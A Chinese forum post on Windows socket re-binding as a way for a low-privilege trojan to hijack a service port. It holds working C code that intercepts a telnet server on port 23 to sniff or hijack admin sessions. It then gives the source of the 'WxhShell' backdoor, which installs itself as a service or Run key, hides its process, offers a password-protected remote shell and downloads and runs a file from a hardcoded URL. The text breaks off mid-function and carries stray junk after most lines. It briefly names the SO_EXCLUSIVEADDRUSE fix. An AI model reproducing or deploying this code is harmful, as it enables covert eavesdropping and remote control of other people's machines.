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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4ggVj*{v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2. StG(Y!  
EsT0"{  
  saddr.sin_family = AF_INET; keT?,YI  
/-DKV~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DWF >b  
::p-9F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iP~sft6  
`y1BTe&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aj&\CJ  
@;||p eU  
  这意味着什么?意味着可以进行如下的攻击: 1k!D0f3qb  
tH-gaDj_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @Djs[Cs<*  
mcvDxjk,h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PfVEv *  
re7!p(W?,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b0r,h)R  
Ro$j1Aw(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |C~Sr#6)7  
l)}<#Ri  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /DLr(  
4qqF v?O[r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x2sN\tOh^  
s ;48v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2;&mkc K'  
?2H{^\<(e  
  #include 613/K`o  
  #include {]+ jL1  
  #include TAXd,z N  
  #include    60~v t04  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8r2XGR  
  int main() , yTN$K%M  
  { {\P?/U6~f  
  WORD wVersionRequested; q A.+U:I8  
  DWORD ret; G"}qV%"6"  
  WSADATA wsaData; )$MS 0[?  
  BOOL val; Jm?l59bv v  
  SOCKADDR_IN saddr; i:g{{Uuv  
  SOCKADDR_IN scaddr; OlIT|bzkb  
  int err; AdDQWJ^r  
  SOCKET s; t$aVe"uM  
  SOCKET sc; 6!*K/2:O  
  int caddsize; OMl8 a B9  
  HANDLE mt; 0 9tikj1  
  DWORD tid;   !$xzA X,  
  wVersionRequested = MAKEWORD( 2, 2 ); 2q+la|1Cr  
  err = WSAStartup( wVersionRequested, &wsaData ); A3xbT\xdg  
  if ( err != 0 ) { x<8\-  
  printf("error!WSAStartup failed!\n"); ;9K[~  
  return -1; IoQr+:_R  
  } &u&2D$K,tp  
  saddr.sin_family = AF_INET; i"/r)>"b  
   )sqaR^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8^i\Y;6  
5@K\c6   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bC6X?m=  
  saddr.sin_port = htons(23); c qv .dC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L%f-L.9`u  
  { ,K T<4  
  printf("error!socket failed!\n"); 6 tX.(/+L  
  return -1; QI.t&sCh5  
  } I`lDWL  
  val = TRUE; [S%J*sz~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HP#ki!'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9_eS`,'  
  { =+`D  
  printf("error!setsockopt failed!\n"); eVTO#R*'|  
  return -1; P?xA$_+  
  } 4yhcK&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (yfXMp,x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f;R>Pr;rD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZH% we  
)4PB<[u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8*vFdoE_oO  
  { Ur n  
  ret=GetLastError(); )TM!ms+K  
  printf("error!bind failed!\n"); I`3d;l;d  
  return -1; h:_NA  
  } O 3G:0xF  
  listen(s,2); >n(F4C-pl  
  while(1) KLW&bJ$|j  
  { 1}`2\3,  
  caddsize = sizeof(scaddr); Q~8y4=|#CY  
  //接受连接请求 &eU3(F`.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \PzN XQ$  
  if(sc!=INVALID_SOCKET) ,^HS`!s[ E  
  { L(;.n>/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o7J{+V  
  if(mt==NULL) 8+&gp$a$  
  { URLk9PI  
  printf("Thread Creat Failed!\n"); ,2,W^HJ  
  break; Ep<YCSQy$i  
  } kwO eHdV^  
  } X'jr|s^s  
  CloseHandle(mt); u|T%Xy=LU  
  } Q4=|@|U0  
  closesocket(s); &lUNy L  
  WSACleanup(); 8sH50jeP  
  return 0; !8o\.uyi  
  }   /e .D /;]  
  DWORD WINAPI ClientThread(LPVOID lpParam) QTfu:m{  
  { M.S s: ttj  
  SOCKET ss = (SOCKET)lpParam; an.`dBm  
  SOCKET sc; i0iez9B  
  unsigned char buf[4096]; @"w2R$o  
  SOCKADDR_IN saddr; b#A(*a_gN  
  long num; <$Ztik1  
  DWORD val; aTG[=)x L  
  DWORD ret; +O4(a.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LZ4xfB (  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f0u56I9  
  saddr.sin_family = AF_INET; K I`11lJW~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zWb -pF|  
  saddr.sin_port = htons(23); :pb67Al29  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i+1Qf  
  { x^X$M$o,l  
  printf("error!socket failed!\n"); 'bC]M3P  
  return -1; obj!I7  
  } e62y  
  val = 100; :PUK6,"5]O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6< >SHw  
  { ^&-a/'D$,  
  ret = GetLastError(); x~z_,':  
  return -1; $ o " L;j  
  } MUB37  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j %H`0  
  { @iRO7 6m  
  ret = GetLastError(); <ZVZ$ZW~D  
  return -1; # ) `\!)?  
  } nEyI t&> 9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~{P:sjsU  
  { [Y$V\h=V  
  printf("error!socket connect failed!\n"); !LiQ 1`V{  
  closesocket(sc); "$DldHC  
  closesocket(ss); 6g~+( ({lQ  
  return -1; =hGJAU  
  } *i@T!O(1)M  
  while(1) {>h97}P  
  { Fg4@On[,i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (A uPZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {+Sq<J_`M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lJ&y&N<O  
  num = recv(ss,buf,4096,0); %Hwbw],kl8  
  if(num>0) Ye@t_,)x  
  send(sc,buf,num,0); &[~[~m|  
  else if(num==0) 2( _=SfQ  
  break; 0bSz4<}  
  num = recv(sc,buf,4096,0); $rB6<  
  if(num>0) r0{]5JZt/  
  send(ss,buf,num,0); tr=@+WHp  
  else if(num==0) ${>DhfF  
  break; i-.c= M  
  } Egf^H>,.M  
  closesocket(ss); 6c &Y  
  closesocket(sc); !W~<q{VTs  
  return 0 ; n`.#59-Hx  
  } 3e 73l  
az2X ch]  
f'_M0x  
========================================================== Jn#K0( FQ  
o|rzN\WJn  
下边附上一个代码,,WXhSHELL VDpxk$a  
^mfjn-=3  
========================================================== Q1T@oxV  
A?,A( -0C  
#include "stdafx.h" %Rarr  
)5GQJiY  
#include <stdio.h> Q7(eq0na  
#include <string.h> *<q4S(l  
#include <windows.h> mp:m`sh*i  
#include <winsock2.h> O] ZC+]}/  
#include <winsvc.h> &h(g$-l?[  
#include <urlmon.h> u]bz42]  
JJ-i_5\q  
#pragma comment (lib, "Ws2_32.lib") Noz&noq  
#pragma comment (lib, "urlmon.lib") Nv3tt  
P^zy;Qs7  
#define MAX_USER   100 // 最大客户端连接数 h[Mdr  
#define BUF_SOCK   200 // sock buffer s0lYj@E'  
#define KEY_BUFF   255 // 输入 buffer !FP"M+  
<T4(H[9B  
#define REBOOT     0   // 重启 ^1VbH3M  
#define SHUTDOWN   1   // 关机 Rcf=J){D6  
S_5?U2%D  
#define DEF_PORT   5000 // 监听端口 = UUd8,C/  
h. ^o)T  
#define REG_LEN     16   // 注册表键长度 VDa|U9N  
#define SVC_LEN     80   // NT服务名长度 OZT^\Ky_l  
@\PpA9ebg%  
// 从dll定义API \ 3G*j`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y ||@?Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @d)LRw.I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tq#<Po $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L#ZLawG  
,CKvTxz0  
// wxhshell配置信息 ^IgS  
struct WSCFG { H%C\Uz"o  
  int ws_port;         // 监听端口 <r;o6>+  
  char ws_passstr[REG_LEN]; // 口令 Snx<]|  
  int ws_autoins;       // 安装标记, 1=yes 0=no u-39r^`5  
  char ws_regname[REG_LEN]; // 注册表键名 {MxnIg7'  
  char ws_svcname[REG_LEN]; // 服务名 ZqP7@fO_%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UE;Bb*<   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n;qz^HXEJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,R}Z=w#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fx5ZwT t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W>:kq_gT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8f-:d]  
h?A'H RyL~  
}; s|gp  
:d({dF_k;p  
// default Wxhshell configuration )-q\aX$])  
struct WSCFG wscfg={DEF_PORT, %A2`&:ip  
    "xuhuanlingzhe", 9 `INC~h  
    1, ls]H6z*q  
    "Wxhshell", bP03G =`6w  
    "Wxhshell", `Hd9\;NJ  
            "WxhShell Service", fkG##!  
    "Wrsky Windows CmdShell Service", / y":/" h  
    "Please Input Your Password: ", cNuuzA  
  1, '6d D^0dZ  
  "http://www.wrsky.com/wxhshell.exe", i;uG:,ro  
  "Wxhshell.exe" Gdc ~Lh  
    }; &VZmP5Gv  
!h`cXY~ w  
// 消息定义模块 _{Fdw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w<I5@)i|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *`QdkVER  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HNkZ1+P {  
char *msg_ws_ext="\n\rExit."; Wq[=}qh~  
char *msg_ws_end="\n\rQuit."; 47(1V/r  
char *msg_ws_boot="\n\rReboot..."; e&FX7dsyy  
char *msg_ws_poff="\n\rShutdown..."; a|] %/[G@  
char *msg_ws_down="\n\rSave to "; mZ& \3m=  
@wAr[.lZ  
char *msg_ws_err="\n\rErr!"; %$9)1"T0Y  
char *msg_ws_ok="\n\rOK!"; +r#=n7 t  
 5Xy^I^J  
char ExeFile[MAX_PATH]; K{r1&O>W  
int nUser = 0; [][:/~q!  
HANDLE handles[MAX_USER]; 8KGv?^M 6W  
int OsIsNt; l/y Kc8^<  
4%#V^??E  
SERVICE_STATUS       serviceStatus; 9$4/frd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;s!ns N  
TGt1d  
// 函数声明 #:Sy`G6!?  
int Install(void); -G^t-I  
int Uninstall(void); L(!!7B_,  
int DownloadFile(char *sURL, SOCKET wsh); NdXy% Q  
int Boot(int flag); kp<}  
void HideProc(void); yEw"8u'  
int GetOsVer(void); Wj f>:\ w  
int Wxhshell(SOCKET wsl); 4Q`=t &u  
void TalkWithClient(void *cs); V.P5v {  
int CmdShell(SOCKET sock); R>YMGUH~w  
int StartFromService(void); f@xfb ie !  
int StartWxhshell(LPSTR lpCmdLine); k1LtqV  
4 L~;>]7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M#8Ao4 T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X~Rk ,d3  
!=q:> }g  
// 数据结构和表定义 '#An+;x{  
SERVICE_TABLE_ENTRY DispatchTable[] = P/1UCITq}  
{ |<+|Du1  
{wscfg.ws_svcname, NTServiceMain}, L]L~TA<D9i  
{NULL, NULL} @e?[oojrM  
}; Oa_o"p<Lr  
-<}>YtB Q  
// 自我安装 G+QNg .pH  
int Install(void) CrwcYzrRWl  
{ ]`i@~Z h\  
  char svExeFile[MAX_PATH]; ~XT a=  
  HKEY key; p *W ZY=Q  
  strcpy(svExeFile,ExeFile); @qr3v>3X<  
E't G5,/m  
// 如果是win9x系统,修改注册表设为自启动  _.J[w6  
if(!OsIsNt) { ,j(p}t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { luxKgcU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &L~31Ayj&  
  RegCloseKey(key); )(|0KarF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lj SR?:\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uI:3$  
  RegCloseKey(key); JXy667_  
  return 0; /K<GN7vN  
    } gkq RO19  
  } Xw}Y!;<IEu  
} OS h mrz28  
else { f29HQhXqS  
@!O&b%8X%  
// 如果是NT以上系统,安装为系统服务 J ]l@ r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  [k&s!Qp  
if (schSCManager!=0) 5z(>4d!  
{ .X=M !  
  SC_HANDLE schService = CreateService B+q+)O+  
  ( n+F-,=0  
  schSCManager, (+Nmio  
  wscfg.ws_svcname, 8IIdNd  
  wscfg.ws_svcdisp, 4Uy>#IL  
  SERVICE_ALL_ACCESS, $j4?'-i=e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kg0\Pvg8?T  
  SERVICE_AUTO_START, [m+O0VK$  
  SERVICE_ERROR_NORMAL, ]v,y(yl  
  svExeFile, ]!Aze^7;  
  NULL, ~JmxW;|_x)  
  NULL, \g6 # MNW  
  NULL, o)' =D(  
  NULL, }${ZI  
  NULL ALt";8Oa  
  ); ~\s &]L  
  if (schService!=0) .2SIU4[P  
  { XJ1nhE  
  CloseServiceHandle(schService); [j+0EVwB  
  CloseServiceHandle(schSCManager); +so o2cb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t T/*ZzMq#  
  strcat(svExeFile,wscfg.ws_svcname); ^~1@HcJo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }d*sWSPu(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *[5#g3  
  RegCloseKey(key); zB7dCw  
  return 0; ={D B  
    } Ko1?jPE  
  } T+{'W  
  CloseServiceHandle(schSCManager); #?d>S;)+  
} C00*X[p  
} kC#B7*[RM  
Ex&RR< 5  
return 1; (i~%4w=  
} D '_#?%3^  
Yiw^@T\H`  
// 自我卸载 ~~E=E;9  
int Uninstall(void) 8; N}d)*O  
{ owVUL~  
  HKEY key; ] j?Fk$C  
V@xnz)^t  
if(!OsIsNt) { OZ]3OL,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F^v{Jqc  
  RegDeleteValue(key,wscfg.ws_regname); eOmxA<h  
  RegCloseKey(key); W)P_t"'@L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #7:9XID /  
  RegDeleteValue(key,wscfg.ws_regname);  D)eKq!_  
  RegCloseKey(key); ?lna8]t  
  return 0; e&7}N Za  
  } v__Go kj-  
} RX|&cY>  
} ,&l*AB!  
else { lVBy&f  
r ($t.iS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ',ybHW%D%i  
if (schSCManager!=0) ba1QFzN  
{ x,*t/nzR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .4)P=*  
  if (schService!=0) WW/m /+  
  { }pZnWK+  
  if(DeleteService(schService)!=0) { %+JTQy  
  CloseServiceHandle(schService); "_}D{ws1  
  CloseServiceHandle(schSCManager); 8@#Y <{  
  return 0; ]OUOL/J  
  } )8>f  
  CloseServiceHandle(schService); -Af`AX  
  } <iqyDPj  
  CloseServiceHandle(schSCManager); 6Z}))*3 9  
} |#kf.kN  
} ~Q\ZDMTK  
*==nOO9G  
return 1; j_<n~ri-  
} j[eEyCW[)  
*zht(~%  
// 从指定url下载文件 ZDD|MH  
int DownloadFile(char *sURL, SOCKET wsh) 4hz,F/ I  
{ _$lQK{@rY  
  HRESULT hr; >#|Q,hVU5  
char seps[]= "/"; fJV VW  
char *token; (3*Hl  
char *file; KO"iauW  
char myURL[MAX_PATH]; J#WPXE+Ds  
char myFILE[MAX_PATH]; uV:;y}T^Z  
VX%\_@  
strcpy(myURL,sURL); $ wB  
  token=strtok(myURL,seps); 6&T1 ZY`  
  while(token!=NULL) oOz6Er[KO  
  { C5 !n {  
    file=token; (8R M|&  
  token=strtok(NULL,seps); M 4?3l  
  } gJ7pu N  
o(qmI/h  
GetCurrentDirectory(MAX_PATH,myFILE); sl 5wX  
strcat(myFILE, "\\");  S_6;e|  
strcat(myFILE, file); \ed(<e>  
  send(wsh,myFILE,strlen(myFILE),0); `9gx-')]\  
send(wsh,"...",3,0); _v,n~a}&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lU& IS?^?  
  if(hr==S_OK) Z;:-8 HPDY  
return 0; K-5)Y+| >  
else _,Y79 b6  
return 1; ZC-N4ESr  
nU)f]4q{Ec  
} mt'#j"mU  
jL$X3QS:  
// 系统电源模块 q?\D9aT9  
int Boot(int flag) +`FY  
{ bE"CSK#  
  HANDLE hToken; na)_8r~  
  TOKEN_PRIVILEGES tkp; J)]W[Nk  
?K"]XXsI  
  if(OsIsNt) { %h rR'*nG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x1h!_^(QfF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 40XI\yE_?  
    tkp.PrivilegeCount = 1; 8iRQPV-"_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u9Ro=#xt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iatQHn >(  
if(flag==REBOOT) { e{=$4F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (%1*<6ka  
  return 0; 3@PVUJ0B|  
} :&MiO3#+  
else { A6VkVJZx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -}s?!Pg>  
  return 0; .:}\Z27-c  
} ux=@"!PJ  
  } _"=~aMXC.)  
  else {  Sk-Ti\  
if(flag==REBOOT) { 7VraWW`H'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0Sk{P>A  
  return 0; 53A=O gk8S  
} W7 $yE},z  
else { r\zK>GVm_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jp|wc,]!  
  return 0; +t f=  
} +e\u4k{3V  
} 8}&cE#@  
8wOr`ho B  
return 1; n~LR=o  
} #AHIlUH"m  
H={,zZ11{  
// win9x进程隐藏模块 Z'E@sc 9  
void HideProc(void) "F^EfpcJ{9  
{ +=O:z *O  
_Uq'eZol  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  F#hM S<  
  if ( hKernel != NULL ) >z2 {D7  
  { <NUZPX29  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *\> &  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tU(6%zvR  
    FreeLibrary(hKernel); OA8pao~H  
  } r=vE0;7  
` H"5nQRV  
return; V1+IqOXAIp  
} eu~;G H  
Q{%ow:;s*  
// 获取操作系统版本 (mzyA%;W  
int GetOsVer(void) ;,<s'5icyg  
{ o,d:{tt  
  OSVERSIONINFO winfo; R75sK(oS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OSBE5  
  GetVersionEx(&winfo); - na]P3 s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [=iq4F'7  
  return 1; Uc/%4Gx   
  else  d00r&Mc  
  return 0; 7':|f"  
} @+xQj.jNC  
bv+PbK]iO  
// 客户端句柄模块 g ,.iM8  
int Wxhshell(SOCKET wsl) se?nx7~  
{ R_-.:n%.z  
  SOCKET wsh; J[^-k!9M  
  struct sockaddr_in client; 2 nf{2edC  
  DWORD myID; $(GXlhA  
{3l] /X3  
  while(nUser<MAX_USER) RSp=If+4  
{ M;V2O;  
  int nSize=sizeof(client); m49)cK?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f>Ge Em~  
  if(wsh==INVALID_SOCKET) return 1; + 5 05  
G-Y8<mEh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^JH 4: h  
if(handles[nUser]==0) rx%lL  
  closesocket(wsh); +] FdgmK:  
else N^O.P  
  nUser++; NZv1dy`fa  
  } lLnD%*03  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1"i/*}M  
fi1tF/ `  
  return 0; Obbjl@]  
} y3d`$'7H>  
]@_*O$  
// 关闭 socket <_h  
void CloseIt(SOCKET wsh) Ty7x jIs  
{ /op8]y  
closesocket(wsh); SDZ/rC!C  
nUser--; tX)^$3A  
ExitThread(0); e~xN[Q\0]  
} rq>@ 0i  
wD4Kil=v  
// 客户端请求句柄 ?8pRRzV$  
void TalkWithClient(void *cs) WSUU_^.  
{ I t",WFE.  
H}`}qu #~V  
  SOCKET wsh=(SOCKET)cs; ?m0|>[j  
  char pwd[SVC_LEN]; 6,| !zaeS  
  char cmd[KEY_BUFF]; &iez{[O  
char chr[1];  `i;f  
int i,j; 8do-z"-  
xO{yr[x"L  
  while (nUser < MAX_USER) { ] %pr1Ey  
8a)lrIg  
if(wscfg.ws_passstr) { x= X"4Mj0)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (/JiOg^cw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uS;N&6;:  
  //ZeroMemory(pwd,KEY_BUFF); (} ?")$.  
      i=0; <A<N? `"  
  while(i<SVC_LEN) { /d*d'3{c  
N 8 n`f  
  // 设置超时 ^O}`i  
  fd_set FdRead; )CKPzNf  
  struct timeval TimeOut; ^z)p@sk#  
  FD_ZERO(&FdRead); HW"@~-\  
  FD_SET(wsh,&FdRead); +K{J* n  
  TimeOut.tv_sec=8; {%gMA?b|"  
  TimeOut.tv_usec=0; zb.dVK`7N-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d#NG]V/   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' >4 H#tu  
\xR1|M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sN"<baZ  
  pwd=chr[0]; q8#zv_>K  
  if(chr[0]==0xd || chr[0]==0xa) { j`7q7}  
  pwd=0; b1\.hi  
  break; Cl&YN}t5  
  } Qh3BI?GZ'3  
  i++; *3 8 u ~n  
    } RzhAX I=  
bf@H(gCW=  
  // 如果是非法用户,关闭 socket PUcxlD/a}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gjFpM.D-.  
} F#=M$j_  
Q,v/]bXd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /F@CrNFb(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7bSj[kuN  
>UNx<=ry  
while(1) { Nk2n&(~$  
Y<qWG 8X  
  ZeroMemory(cmd,KEY_BUFF); wAD%1;  
Uhs/F:E[A  
      // 自动支持客户端 telnet标准   J~}sQ{ 0  
  j=0; '2XIeR  
  while(j<KEY_BUFF) { G9_7jX*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \~X:ffb =  
  cmd[j]=chr[0]; =aBc .PJ^  
  if(chr[0]==0xa || chr[0]==0xd) { "o)jB~ :L  
  cmd[j]=0; cY]BtJ#  
  break; {;5\#VFg  
  } Ahk q  
  j++; Ua%;hI)j$  
    } -kzp >=  
0uL*-/|  
  // 下载文件 >)^Q p-  
  if(strstr(cmd,"http://")) { cS#yfN,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Y>#FEW/  
  if(DownloadFile(cmd,wsh)) 4ibOVBG:*,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #?"^:,Y  
  else OMf w#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L.2!Q3&  
  } ^|%u%UR  
  else { r(j:C%?}C  
;W{2\ Es  
    switch(cmd[0]) { +?)R}\\  
  #(7^V y&  
  // 帮助 'pj*6t1~  
  case '?': { >t#5eT`_ w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dk/f_m  
    break; F1*xY%Jv^M  
  } ^ 6b27_=  
  // 安装 +\-cf,WkI  
  case 'i': { U0=: `G2l  
    if(Install()) qr4.s$VGs*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 R,SA:L$  
    else IFsh"i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;F|8#! (  
    break; AO]k*N,N  
    } w?V;ItcL  
  // 卸载 Fe1XczB  
  case 'r': { !?)aZ |r  
    if(Uninstall()) I;Pd}A_}=_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXQ 28A  
    else s~06%QEG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `{%ImXQF  
    break; &G!~@\tMg  
    } #(}'G*  
  // 显示 wxhshell 所在路径  oP~%7Jt  
  case 'p': { \NZ@>on  
    char svExeFile[MAX_PATH]; $MqEM~^=  
    strcpy(svExeFile,"\n\r"); !K6:5V%q$  
      strcat(svExeFile,ExeFile); ";jKTk7  
        send(wsh,svExeFile,strlen(svExeFile),0); h0] bIT{  
    break; 8.HJoos  
    } J@A^k1B  
  // 重启 Qe =8x7oIP  
  case 'b': { kho$At)V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~p?D[]h  
    if(Boot(REBOOT)) 3S .2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 3rJ$6W  
    else { 3"Zc|Ck <?  
    closesocket(wsh); h t3P@;  
    ExitThread(0); =6a=`3r!I  
    } G/ H>M%M  
    break; b ,x$wP+  
    } !5 ?<QKOe  
  // 关机 3N ?"s1U  
  case 'd': { iUbcvF3aP  
